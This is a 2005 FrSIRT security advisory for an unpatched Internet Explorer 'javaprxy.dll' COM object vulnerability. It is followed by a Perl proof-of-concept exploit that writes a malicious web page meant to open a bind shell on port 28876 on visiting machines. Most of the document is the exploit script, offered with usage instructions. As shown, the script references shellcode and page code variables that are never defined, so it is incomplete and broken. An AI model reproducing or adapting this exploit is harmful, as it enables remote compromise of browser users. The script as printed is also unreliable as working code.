Microsoft Internet Explorer "javaprxy.dll" COM Object Exploit (Unpatched) Advisory : FrSIRT/ADV-2005-0935 Rated as : Critical Status : Unpatched Code : http://www.frsirt.com/exploits/20050702.iejavaprxyexploit.pl.php #!/usr/bin/perl ###################################################### # # Microsoft Internet Explorer "javaprxy.dll" COM Object Exploit -Unpatched- # # Proof of Concept by the FrSIRT < http://www.frsirt.com / team@frsirt.com > # Bindshell on port 28876 # 01 July 2005 # # Description - http://www.frsirt.com/english/advisories/2005/0935 # Workarounds - http://www.microsoft.com/technet/security/advisory/903144.mspx # Sec-consult - http://www.sec-consult.com/184.html # # Solution : # Set Internet and Local intranet security zone settings to "High" or use # another browser until a patch is released. # # Tested on : # Internet Explorer 6 on Microsoft Windows XP SP2 # Internet Explorer 6 on Microsoft Windows XP SP1 # # Affected versions : # Internet Explorer 5.01 Service Pack 3 on Microsoft Windows 2000 Service Pack 3 # Internet Explorer 5.01 Service Pack 4 on Microsoft Windows 2000 Service Pack 4 # Internet Explorer 6 Service Pack 1 on Microsoft Windows 2000 Service Pack 3 # Internet Explorer 6 Service Pack 1 on Microsoft Windows 2000 Service Pack 4 # Internet Explorer 6 Service Pack 1 on Microsoft Windows XP Service Pack 1 # Internet Explorer 6 for Microsoft Windows XP Service Pack 2 # Internet Explorer 6 Service Pack 1 for Microsoft Windows XP 64-Bit SP1 (Itanium) # Internet Explorer 6 for Microsoft Windows Server 2003 # Internet Explorer 6 for Microsoft Windows Server 2003 Service Pack 1 # Internet Explorer 6 for Microsoft Windows Server 2003 for Itanium-based Systems # Internet Explorer 6 for Microsoft Windows Server 2003 with SP1 for Itanium # Internet Explorer 6 for Microsoft Windows XP 64-Bit Edition Version 2003 (Itanium) # Internet Explorer 6 for Microsoft Windows Server 2003 x64 Edition # Internet Explorer 6 for Microsoft Windows XP Professional x64 Edition # Internet Explorer 5.5 Service Pack 2 on Microsoft Windows Millennium Edition # Internet Explorer 6 Service Pack 1 on Microsoft Windows 98 # Internet Explorer 6 Service Pack 1 on Microsoft Windows 98 SE # Internet Explorer 6 Service Pack 1 on Microsoft Windows Millennium Edition # # Usage : perl iejavaprxyexploit.pl > mypage.html # ###################################################### # header my $header = "\n\n"; # javaprxy.dll my $clsid = '03D9F3F2-B0E3-11D2-B081-006008039BF0'; # footer my $footer = "

\n". "Microsoft Internet Explorer javaprxy.dll COM Object Remote Exploit\n". "by the FrSIRT < http://www.frsirt.com >\n". "Solution - http://www.frsirt.com/english/advisories/2005/0935". ""; # print "Content-Type: text/html;\r\n\r\n"; # if you are in cgi-bin print "$header $shellcode $code $footer";